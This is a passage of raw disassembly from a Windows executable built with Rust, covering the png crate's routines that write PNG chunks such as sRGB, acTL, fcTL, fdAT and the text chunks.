lea rcx, [r12 + rbx]
sub rsi, rbx
mov r14, rbx
mov r13, r12
test rax, rax
je 0x14004b431
mov rdi, rax
lea rcx, [rbp + 0x2230]
call fcn.140043bb1
jmp 0x14004ca46
push 9
pop rcx
lea rdx, [rbp + 0x1e30]
lea rsi, [rbp + 0x2230]
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x2b47], 0
lea rcx, [rbp + 0x2750]
call fcn.140061423
mov rcx, qword [rbp + 0x2750]
mov rdi, qword [rbp + 0x2758]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x14004ce80
mov rcx, qword [rbp + 0x18e0]
mov rdx, qword [rbp + 0x2b78]
jmp 0x14004e6ad
mov qword [rbp + 0x2b78], rcx
movups xmm0, xmmword [rbp + 0x2230]
movups xmm1, xmmword [rbp + 0x2240]
movups xmm2, xmmword [rbp + 0x2250]
movups xmm3, xmmword [rbp + 0x2260]
lea rdx, [rbp + 0x1e30]
movaps xmmword [rdx + 0x30], xmm3
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov byte [rbp + 0x2b6d], 0
lea rcx, [rbp + 0x2750]
call fcn.140044076
mov r10, qword [rbp + 0x2750]
mov rdi, qword [rbp + 0x2758]
movabs rbx, 0x8000000000000000
cmp r10, rbx
jne 0x14004cf15
mov r12, qword [rbp + 0x2b78]
jmp 0x14004e684
movaps xmm0, xmmword [0x1401cda90]
movups xmmword [rbp + 0x18e0], xmm0
movaps xmm0, xmmword [0x1401cdaa0]
movups xmmword [rbp + 0x18f0], xmm0
lea r9, [rbp + 0x2750]
mov byte [r9], al
mov qword [rsp + 0x20], 1
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x42475273
call fcn.14004374a
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
lea rcx, [rbp + 0x2230]
lea r8, [rbp + 0x13e0]
mov edx, 0xb18f
call fcn.14004371f
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x18e0]
lea r8, [rbp + 0x13e0]
call fcn.140043af1
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
cmp dword [rbp + 0xd4], 0
je 0x14004cd05
mov edi, dword [rbp + 0xd8]
mov esi, dword [rbp + 0xdc]
lea rcx, [rbp + 0x2750]
and qword [rcx], 0
call fcn.1400412f3
bswap edi
lea r8, [rbp + 0x1b10]
mov dword [r8], edi
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
bswap esi
lea r9, [rbp + 0x2750]
mov dword [r9 + 4], esi
mov qword [rsp + 0x20], 8
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x4c546361
call fcn.14004374a
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
mov r13, qword [rbp + 0x18]
imul r12, qword [rbp + 0x20], 0x30
add r12, r13
lea rbx, [rbp + 0x2759]
lea rsi, [rbp + 0x2230]
lea rdi, [rbp + 0x2750]
lea r14, [rbp + 0x13e0]
cmp r13, r12
je 0x14004e26e
mov rdx, qword [r13 + 8]
mov r8, qword [r13 + 0x10]
mov rcx, rsi
call fcn.140062bf5
mov rcx, qword [rbp + 0x2230]
mov al, byte [rbp + 0x2238]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
je 0x14004e4eb
lea r8, [rbp + 0x2239]
mov rdx, qword [r8]
mov r8, qword [r8 + 7]
mov qword [rbx + 7], r8
mov qword [rbx], rdx
mov qword [rbp + 0x2750], rcx
mov byte [rbp + 0x2758], al
mov rax, qword [rbp + 0x2760]
add rax, 0xffffffffffffffb0
cmp rax, 0xffffffffffffffb1
jb 0x14004e505
mov rcx, rdi
xor edx, edx
call fcn.140060b00
mov rdx, qword [r13 + 0x20]
mov r8, qword [r13 + 0x28]
mov rcx, rdi
call fcn.140062d5d
cmp al, 3
jne 0x14004e51b
mov r15, qword [rbp + 0x2758]
mov rax, qword [rbp + 0x2760]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x1b10]
mov rdx, r14
mov r8d, 0x74584574
mov r9, r15
call fcn.14004374a
mov rcx, qword [rbp + 0x2750]
mov rdx, r15
call fcn.14006095a
mov r15, qword [rbp + 0x1b10]
cmp r15, 6
jne 0x14004e54a
add r13, 0x30
jmp 0x14004cd2d
mov rbx, qword [rbp + 0x2238]
mov rsi, qword [rbp + 0x2240]
jmp 0x140049c11
mov qword [rbp + 0x2b70], rcx
mov qword [rbp + 0x2b58], rdi
mov rsi, qword [rbp + 0x2760]
mov rcx, qword [rbp + 0x18e0]
mov rdx, qword [rbp + 0x2b78]
jmp 0x14004d2a8
mov rsi, qword [rbp + 0x2760]
mov r9, qword [rbp + 0x2b10]
imul r9, qword [rbp + 0x2b28]
xor ecx, ecx
mov rax, r9
sub rax, 1
cmovb rax, rcx
mov ecx, 0xffff
xor edx, edx
div rcx
imul r8, rax, 0x10004
mov rax, r9
xor edx, edx
div rcx
lea rax, [rdx + r8]
add rax, 0xb
cmp rsi, rax
jbe 0x14004d28c
mov qword [rbp + 0x2b28], r10
mov qword [rbp + 0x2b48], rdi
lea rdx, [rbp + 0x18e0]
and qword [rdx], 0
mov qword [rdx + 8], 1
xorps xmm0, xmm0
movups xmmword [rdx + 0x10], xmm0
lea rcx, [rbp + 0x1e30]
call fcn.140044227
mov rax, qword [rbp + 0x1e30]
mov rcx, qword [rbp + 0x1e38]
mov qword [rbp + 0x2b58], rcx
cmp rax, rbx
je 0x14004e663
lea rcx, [rbp + 0x1e30]
mov rdx, qword [rcx + 0x30]
mov qword [rbp + 0x2780], rdx
movups xmm0, xmmword [rcx + 0x10]
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rbp + 0x2770], xmm1
movups xmmword [rbp + 0x2760], xmm0
mov qword [rbp + 0x2750], rax
mov rax, qword [rbp + 0x2b58]
mov qword [rbp + 0x2758], rax
mov byte [rbp + 0x2b35], 1
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0x2b20]
mov r8, qword [rbp + 0x2b38]
mov r9, qword [rbp + 0x2b08]
call fcn.140044029
mov rsi, qword [rbp + 0x1e30]
mov rdi, qword [rbp + 0x1e38]
mov r13, qword [rbp + 0x1e40]
lea r12, [0x14024baf7]
lea rbx, [rbp + 0x2750]
push 1
pop r14
test rdi, rdi
je 0x14004e5ef
cmp rdi, r13
mov r15, r13
cmovb r15, rdi
mov byte [rbp + 0x2b35], 1
mov rcx, rbx
mov rdx, r12
mov r8, r14
call fcn.140044445
test rax, rax
jne 0x14004d092
mov byte [rbp + 0x2b35], 1
mov rcx, rbx
mov rdx, rsi
mov r8, r15
call fcn.140044445
add rsi, r15
sub rdi, r15
test rax, rax
je 0x14004d045
mov qword [rbp + 0x2b58], rax
mov rcx, qword [rbp + 0x2750]
mov rdx, qword [rbp + 0x2758]
call fcn.14006095a
jmp 0x14004e663
mov qword [rbp + 0x2b58], rdi
mov qword [rbp + 0x2b70], r10
mov rcx, qword [rbp + 0x10c0]
mov rdx, qword [rbp + 0x10c8]
call fcn.14006095a
mov bl, byte [rbp + 0x1515]
cmp bl, 2
jne 0x14004d2d7
lea rcx, [rbp + 0x1e30]
lea rdx, [rbp + 0x14e0]
mov r8, qword [rbp + 0x2b58]
mov r9, rsi
call fcn.140044a60
jmp 0x14004d30f
cmp byte [rbp + 0x1525], 0
je 0x14004d49a
cmp qword [rbp + 0x14e8], 0
jne 0x14004d49a
lea rcx, [rbp + 0x1e30]
lea rdx, [rbp + 0x14e0]
mov r8, qword [rbp + 0x2b58]
mov r9, rsi
call fcn.140044a60
mov r12, qword [rbp + 0x1e30]
cmp r12, 6
jne 0x14004d38f
push 0xffffffffffffffff
pop r8
mov rdx, qword [rbp + 0x2b58]
mov rcx, qword [rbp + 0x2b70]
mov rax, qword [rbp + 0x14e8]
inc rax
cmove rax, r8
mov qword [rbp + 0x14e8], rax
cmp dword [rbp + 0x14f0], 0
je 0x14004d361
mov eax, dword [rbp + 0x14f4]
cmp eax, dword [rbp + 0x1528]
ja 0x14004d361
mov byte [rbp + 0x1515], 2
call fcn.14006095a
mov rcx, qword [rbp + 0x1b10]
mov rdx, qword [rbp + 0x1b18]
call fcn.14006095a
movabs rax, 0x800000000000000a
mov rcx, qword [rbp + 0x2b60]
jmp 0x14004e706
mov rdi, qword [rbp + 0x1e38]
mov r15, qword [rbp + 0x1e40]
jmp 0x14004ebcf
mov r15d, dword [rbp + 0x14fc]
mov r14d, dword [rbp + 0x1500]
mov edi, dword [rbp + 0x1504]
mov r13d, dword [rbp + 0x1508]
mov r12d, dword [rbp + 0x150c]
movzx eax, word [rbp + 0x1510]
mov word [rbp + 0x2b78], ax
movzx eax, word [rbp + 0x1512]
mov word [rbp + 0x2b48], ax
mov al, byte [rbp + 0x1514]
mov byte [rbp + 0x2b28], al
xorps xmm0, xmm0
lea rcx, [rbp + 0x1e30]
movups xmmword [rcx + 0xa], xmm0
movaps xmmword [rcx], xmm0
call fcn.140043916
bswap r15d
lea r8, [rbp + 0x2750]
mov dword [r8], r15d
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1e30]
push 4
pop rdx
push 8
pop r8
call fcn.140043930
bswap r14d
lea r8, [rbp + 0x2750]
mov dword [r8], r14d
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1e30]
push 8
pop rdx
push 0xc
pop r8
call fcn.140043930
bswap edi
lea r8, [rbp + 0x2750]
mov dword [r8], edi
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1e30]
push 0xc
pop rdx
push 0x10
pop r8
call fcn.140043930
bswap r13d
lea r8, [rbp + 0x2750]
mov dword [r8], r13d
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1e30]
push 0x10
pop rdx
push 0x14
pop r8
call fcn.140043930
bswap r12d
lea r8, [rbp + 0x2750]
mov dword [r8], r12d
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1e30]
push 0x14
pop rdx
push 0x16
pop r8
call fcn.140043930
movzx ecx, word [rbp + 0x2b78]
rol cx, 8
lea r8, [rbp + 0x2750]
mov word [r8], cx
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 2
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1e30]
push 0x16
pop rdx
push 0x18
pop r8
call fcn.140043930
movzx ecx, word [rbp + 0x2b48]
rol cx, 8
lea r8, [rbp + 0x2750]
mov word [r8], cx
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 2
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, [rbp + 0x1e30]
mov al, byte [rbp + 0x2b28]
mov byte [r9 + 0x18], al
mov byte [r9 + 0x19], bl
mov qword [rsp + 0x20], 0x1a
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x14e0]
mov r8d, 0x4c546366
call fcn.140043a15
mov r12, qword [rbp + 0x2230]
cmp r12, 6
jne 0x14004e248
inc dword [rbp + 0x14fc]
inc dword [rbp + 0x1528]
cmp qword [rbp + 0x14e8], 0
je 0x14004e576
mov eax, 0x7ffffffb
cmp rsi, rax
mov edx, 0x7ffffffb
cmovb rdx, rsi
add rdx, 4
lea rcx, [rbp + 0x2230]
call fcn.1401c5a79
lea rdi, [rbp + 0x1e30]
push 4
pop rbx
mov r13, qword [rbp + 0x2b58]
test rsi, rsi
je 0x14004eb7f
mov eax, 0x7ffffffb
cmp rsi, rax
mov r14d, 0x7ffffffb
cmovb r14, rsi
mov rcx, qword [rbp + 0x2238]
mov rdx, qword [rbp + 0x2240]
call fcn.140044878
mov ecx, dword [rbp + 0x14fc]
bswap ecx
mov dword [rbp + 0x1e30], ecx
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rdi
mov r9, rbx
call fcn.1401c59a4
mov rcx, qword [rbp + 0x2238]
mov rdx, qword [rbp + 0x2240]
mov r8, rbx
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
call fcn.1400412ab
mov r8, rdx
mov rcx, r14
mov rdx, rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
call fcn.1400412d1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, r13
mov r9, r14
call fcn.1401c59a4
lea r8, [r14 + 4]
mov r15, qword [rbp + 0x2238]
mov rdx, qword [rbp + 0x2240]
mov rcx, r15
call fcn.140043c36
mov qword [rsp + 0x20], rdx
mov rcx, rdi
lea rdx, [rbp + 0x14e0]
mov r8d, 0x54416466
mov r9, rax
call fcn.140043a15
mov r12, qword [rbp + 0x1e30]
cmp r12, 6
jne 0x14004ebaf
add r13, r14
sub rsi, r14
inc dword [rbp + 0x14fc]
jmp 0x14004d73e
mov rdi, qword [rbp + 0x2238]
mov r15, qword [rbp + 0x2240]
jmp 0x14004ebcf
imul rbx, qword [rbp + 0x38], 0x38
mov r14, qword [rbp + 0x30]
add rbx, r14
lea r13, [rbp + 0x2a89]
lea rdi, [rbp + 0x2230]
cmp r14, rbx
je 0x14004f08a
mov rdx, qword [r14 + 0x28]
mov r8, qword [r14 + 0x30]
mov rcx, rdi
call fcn.140062bf5
mov rcx, qword [rbp + 0x2230]
mov al, byte [rbp + 0x2238]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
je 0x14004f3bb
lea r8, [rbp + 0x2239]
mov rdx, qword [r8]
mov r8, qword [r8 + 7]
mov qword [r13 + 7], r8
mov qword [r13], rdx
mov qword [rbp + 0x2a80], rcx
mov byte [rbp + 0x2a88], al
mov rax, qword [rbp + 0x2a90]
test rax, rax
je 0x14004efb9
cmp rax, 0x4f
ja 0x14004efb9
mov byte [rbp + 0x2b57], 1
lea rcx, [rbp + 0x2a80]
xor edx, edx
call fcn.140060b00
mov byte [rbp + 0x2b57], 1
lea rcx, [rbp + 0x2a80]
xor edx, edx
call fcn.140060b00
cmp qword [r14], 0
je 0x14004e46e
mov rdx, qword [r14 + 0x10]
mov r8, qword [r14 + 0x18]
mov byte [rbp + 0x2b57], 1
mov rcx, rdi
call fcn.140062bf5
mov rdx, qword [rbp + 0x2230]
mov al, byte [rbp + 0x2238]
movabs rcx, 0x8000000000000000
mov qword [rbp + 0x2b78], rdx
cmp rdx, rcx
je 0x14004f3ea
movzx eax, al
movzx ecx, byte [rbp + 0x223f]
shl ecx, 0x10
movzx edx, word [rbp + 0x223d]
or edx, ecx
mov r15d, dword [rbp + 0x2239]
shl rdx, 0x28
shl r15, 8
or r15, rdx
or r15, rax
mov rsi, qword [rbp + 0x2240]
mov qword [rbp + 0x2a28], r15
lea r12, [rbp + 0x2750]
mov rcx, r12
lea rdx, [rbp + 0x2a80]
push 1
pop r8
call fcn.14006132f
mov qword [rbp + 0x2a30], r15
mov byte [rbp + 0x2b37], 1
mov rcx, r12
mov rdx, r15
mov r8, rsi
call fcn.140060b66
test rax, rax
jne 0x14004f415
push 9
pop rcx
mov rax, rdi
lea rsi, [rbp + 0x2750]
rep movsq qword [rdi], qword [rsi]
mov rdi, rax
mov qword [rbp + 0x2a30], r15
mov byte [rbp + 0x2b37], 0
lea rcx, [rbp + 0x1b10]
mov rdx, rax
call fcn.140061423
mov rax, qword [rbp + 0x1b10]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004f45b
movzx ecx, word [rbp + 0x1b18]
lea r8, [rbp + 0x1b1a]
mov rdx, qword [r8]
mov r8, qword [r8 + 6]
mov qword [r13 + 1], rdx
mov qword [r13 + 7], r8
mov qword [rbp + 0x2a80], rax
mov word [rbp + 0x2a88], cx
mov rcx, qword [rbp + 0x2b78]
mov rdx, r15
call fcn.14006095a
jmp 0x14004e48c
mov rdx, qword [r14 + 0x10]
mov r8, qword [r14 + 0x18]
add r8, rdx
mov byte [rbp + 0x2b57], 1
lea rcx, [rbp + 0x2a80]
call fcn.140004b33
mov rsi, qword [rbp + 0x2a88]
mov rax, qword [rbp + 0x2a90]
mov byte [rbp + 0x2b57], 1
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2638]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x7458547a
mov r9, rsi
call fcn.14004374a
mov rcx, qword [rbp + 0x2a80]
mov rdx, rsi
call fcn.14006095a
mov r15, qword [rbp + 0x2638]
cmp r15, 6
jne 0x14004f7e6
add r14, 0x38
jmp 0x14004e288
mov qword [rbp + 0x1b10], 3
mov byte [rbp + 0x1b18], 0xc
mov byte [rbp + 0x1b19], al
jmp 0x14004e546
mov qword [rbp + 0x1b10], 3
mov word [rbp + 0x1b18], 0x10c
jmp 0x14004e53a
mov qword [rbp + 0x1b10], 3
mov byte [rbp + 0x1b18], 0xc
mov byte [rbp + 0x1b19], al
mov rcx, qword [rbp + 0x2750]
mov rdx, qword [rbp + 0x2758]
call fcn.14006095a
push 3
pop r15
mov rbx, qword [rbp + 0x1b18]
mov rsi, qword [rbp + 0x1b20]
jmp 0x140049c11
lea rcx, [rbp + 0x1e30]
lea rdx, [rbp + 0x14e0]
mov r8, qword [rbp + 0x2b58]
mov r9, rsi
call fcn.140044a60
jmp 0x14004d30f
mov rax, qword [rbp + 0x2780]
lea rdx, [rbp + 0x1e30]
mov qword [rdx + 0x30], rax
movups xmm0, xmmword [rbp + 0x2750]
movups xmm1, xmmword [rbp + 0x2760]
movups xmm2, xmmword [rbp + 0x2770]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov byte [rbp + 0x2b35], 0
lea rcx, [rbp + 0x18e0]
call fcn.140044345
mov rcx, qword [rbp + 0x18e0]
mov rax, qword [rbp + 0x18e8]
mov qword [rbp + 0x2b58], rax
mov qword [rbp + 0x2b70], rcx
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x14004ef62
mov rdx, qword [rbp + 0x2b48]
mov r12, qword [rbp + 0x2b78]
mov rcx, qword [rbp + 0x2b28]
call fcn.14006095a
mov rdi, qword [rbp + 0x2b58]
mov rbx, qword [rbp + 0x10c8]
mov rcx, qword [rbp + 0x10c0]
mov rdx, rbx
call fcn.14006095a
test r12, r12
je 0x14004e6b2
mov rcx, qword [rbp + 0x2230]
mov rdx, qword [rbp + 0x2238]
call fcn.14006095a
push 2
pop r12
mov rsi, rdi
and rsi, 0xffffffffffffff00
mov rcx, qword [rbp + 0x1b10]
mov rdx, qword [rbp + 0x1b18]
call fcn.14006095a
lea rcx, [rbp + 0x1e30]
mov qword [rcx], r12
movzx eax, dil
or rax, rsi
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r15
call fcn.14006178f
mov rcx, qword [rbp + 0x2b60]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000009
mov qword [rcx], rax
lea rcx, [rbp + 0x14e0]
call fcn.140044b36
jmp 0x14004e96e
movaps xmm6, xmmword [rbp + 0x2b90]
add rsp, 0x2c28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x2230]
mov rdx, qword [rbp + 0x2238]
call fcn.14006095a
jmp 0x14004d31c
mov rdi, qword [rbp + 0x1e38]
mov rax, qword [rbp + 0x1e40]
mov rcx, qword [rbp + 0x2230]
mov rdx, r15
mov r15, rax
call fcn.14006095a
mov rdx, qword [rbp + 0x2b58]
mov rcx, qword [rbp + 0x2b70]
call fcn.14006095a
jmp 0x14004e6b6
mov rsi, qword [rbp + 0x18f0]
mov rcx, qword [rbp + 0x2b28]
mov rdx, qword [rbp + 0x2b48]
call fcn.14006095a
jmp 0x14004d29a
mov qword [rbp + 0x2638], 3
mov word [rbp + 0x2640], 0x10c
jmp 0x14004f409
mov rbx, qword [rbp + 0x48]
imul r13, qword [rbp + 0x50], 0x70
add r13, rbx
lea r14, [rbp + 0x2a68]
cmp rbx, r13
je 0x14004f722
mov rdx, qword [rbx + 0x28]
mov r8, qword [rbx + 0x30]
lea rcx, [rbp + 0x2230]
call fcn.140062bf5
mov rcx, qword [rbp + 0x2230]
mov al, byte [rbp + 0x2238]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
je 0x14004f3bb
lea r8, [rbp + 0x2239]
mov rdx, qword [r8]
mov r8, qword [r8 + 7]
lea r9, [rbp + 0x2a71]
mov qword [r9 + 7], r8
mov qword [r9], rdx
mov qword [rbp + 0x2a68], rcx
mov byte [rbp + 0x2a70], al
mov rax, qword [rbp + 0x2a78]
test rax, rax
je 0x14004f626
cmp rax, 0x4f
ja 0x14004f626
mov byte [rbp + 0x2b87], 1
mov rcx, r14
xor edx, edx
call fcn.140060b00
mov r15b, byte [rbx + 0x68]
test r15b, r15b
je 0x14004f14a
mov byte [rbp + 0x2b87], 1
mov rcx, r14
mov dl, 1
call fcn.140060b00
jmp 0x14004f15b
mov byte [rbp + 0x2b87], 1
mov rcx, r14
xor edx, edx
call fcn.140060b00
mov byte [rbp + 0x2b87], 1
mov rcx, r14
xor edx, edx
call fcn.140060b00
mov rsi, qword [rbx + 0x40]
mov rdi, qword [rbx + 0x48]
mov rcx, rsi
mov rdx, rdi
call fcn.14003ebf0
test al, al
je 0x14004f7b5
add rdi, rsi
mov byte [rbp + 0x2b87], 1
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.140004b33
mov byte [rbp + 0x2b87], 1
mov rcx, r14
xor edx, edx
call fcn.140060b00
mov rdx, qword [rbx + 0x58]
mov r8, qword [rbx + 0x60]
add r8, rdx
mov byte [rbp + 0x2b87], 1
mov rcx, r14
call fcn.140004b33
mov byte [rbp + 0x2b87], 1
mov rcx, r14
xor edx, edx
call fcn.140060b00
mov rax, qword [rbx]
test r15b, r15b
je 0x14004f2af
mov rdi, qword [rbx + 0x10]
mov rsi, qword [rbx + 0x18]
test rax, rax
je 0x14004f2d3
mov byte [rbp + 0x2b87], 0
lea rcx, [rbp + 0x2750]
mov rdx, r14
push 1
pop r8
call fcn.14006132f
mov byte [rbp + 0x2b36], 1
lea rcx, [rbp + 0x2750]
mov rdx, rdi
mov r8, rsi
call fcn.140060b66
test rax, rax
jne 0x14004f82f
push 9
pop rcx
lea rdx, [rbp + 0x2230]
mov rdi, rdx
lea rsi, [rbp + 0x2750]
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x2b36], 0
lea rcx, [rbp + 0x1b10]
call fcn.140061423
mov rax, qword [rbp + 0x1b10]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004f871
movzx ecx, word [rbp + 0x1b18]
lea r8, [rbp + 0x1b1a]
mov rdx, qword [r8]
mov r8, qword [r8 + 6]
lea r9, [rbp + 0x2a71]
mov qword [r9 + 1], rdx
mov qword [r9 + 7], r8
mov qword [rbp + 0x2a68], rax
mov word [rbp + 0x2a70], cx
jmp 0x14004f35c
test rax, rax
je 0x14004f2ed
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
add r8, rdx
mov byte [rbp + 0x2b87], 1
mov rcx, r14
call fcn.140004b33
jmp 0x14004f35c
add rsi, rdi
mov byte [rbp + 0x2b87], 1
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.140004b33
jmp 0x14004f35c
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
mov byte [rbp + 0x2b87], 1
lea rcx, [rbp + 0x2230]
call fcn.140033779
mov rcx, qword [rbp + 0x2230]
movabs rax, 0x8000000000000000
mov qword [rbp + 0x2b78], rcx
cmp rcx, rax
je 0x14004fcac
mov rdx, qword [rbp + 0x2238]
mov r8, qword [rbp + 0x2240]
add r8, rdx
mov rcx, r14
mov qword [rbp + 0x2b58], rdx
call fcn.140004b33
mov rcx, qword [rbp + 0x2b78]
mov rdx, qword [rbp + 0x2b58]
call fcn.14006095a
mov rsi, qword [rbp + 0x2a70]
mov rax, qword [rbp + 0x2a78]
mov byte [rbp + 0x2b87], 1
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2638]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x74585469
mov r9, rsi
call fcn.14004374a
mov rcx, qword [rbp + 0x2a68]
mov rdx, rsi
call fcn.14006095a
mov r15, qword [rbp + 0x2638]
cmp r15, 6
jne 0x14004f7e6
add rbx, 0x70
jmp 0x14004f09d
mov qword [rbp + 0x2638], 3
mov byte [rbp + 0x2640], 0xc
mov byte [rbp + 0x2641], al
jmp 0x14004f7e2
mov qword [rbp + 0x2638], 3
mov byte [rbp + 0x2640], 0xc
mov byte [rbp + 0x2641], al
mov rcx, qword [rbp + 0x2a80]
mov rdx, qword [rbp + 0x2a88]
jmp 0x14004f7dd
lea rcx, [rbp + 0x2230]
mov qword [rcx], rax
mov qword [rbp + 0x2a30], r15
mov byte [rbp + 0x2b37], 1
call fcn.14001ca7a
mov qword [rbp + 0x2638], 3
mov word [rbp + 0x2640], 0x20c
mov qword [rbp + 0x2a28], r15
lea rcx, [rbp + 0x2750]
call fcn.140043bb1
jmp 0x14004f493
mov rax, qword [rbp + 0x1b18]
lea rcx, [rbp + 0x2230]
mov qword [rcx], rax
mov qword [rbp + 0x2a30], r15
mov byte [rbp + 0x2b37], 0
call fcn.14001ca7a
mov qword [rbp + 0x2638], 3
mov word [rbp + 0x2640], 0x20c
mov rcx, qword [rbp + 0x2b78]
mov rdx, r15
jmp 0x14004f7dd
mov qword [rbp + 0x2638], 3
mov al, 1
jmp 0x14004f7c2
mov r12, qword [rbp + 0x1e30]
mov r14, qword [rbp + 0x1e38]
mov edi, dword [rbp + 0x1e40]
mov r13d, dword [rbp + 0x1e44]
mov r15, qword [rbp + 0x1e48]
mov rbx, qword [rbp + 0x1e50]
mov rsi, qword [rbp + 0x1e58]
movups xmm0, xmmword [rbp + 0x1e60]
movaps xmmword [rbp + 0x10c0], xmm0
movups xmm0, xmmword [rbp + 0x1e70]
movaps xmmword [rbp + 0x10d0], xmm0
jmp 0x140049c20
mov qword [rbp + 0x2638], 3
xor eax, eax
mov byte [rbp + 0x2640], 0xc
mov byte [rbp + 0x2641], al
mov rcx, qword [rbp + 0x2a68]
mov rdx, qword [rbp + 0x2a70]
call fcn.14006095a
push 3
pop r15
mov rbx, qword [rbp + 0x2640]
mov rsi, qword [rbp + 0x2648]
jmp 0x140049c11
lea rcx, [rbp + 0x2230]
mov qword [rcx], rax
mov byte [rbp + 0x2b36], 1
call fcn.14001ca7a
mov qword [rbp + 0x2638], 3
mov word [rbp + 0x2640], 0x20c
mov byte [rbp + 0x2b87], 0
lea rcx, [rbp + 0x2750]
call fcn.140043bb1
jmp 0x14004f7e2
mov rax, qword [rbp + 0x1b18]
lea rcx, [rbp + 0x2230]
mov qword [rcx], rax
mov byte [rbp + 0x2b36], 0
call fcn.14001ca7a
mov qword [rbp + 0x2638], 3
mov word [rbp + 0x2640], 0x20c
jmp 0x14004f7e2
mov qword [rbp + 0x2638], 3
mov al, 2
jmp 0x14004f7c2
lea rax, [rbp + 0x14e0]
mov rcx, qword [rbp + 0x2b38]
mov qword [rax], rcx
lea rdx, [rbp + 0x12e0]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x1080]
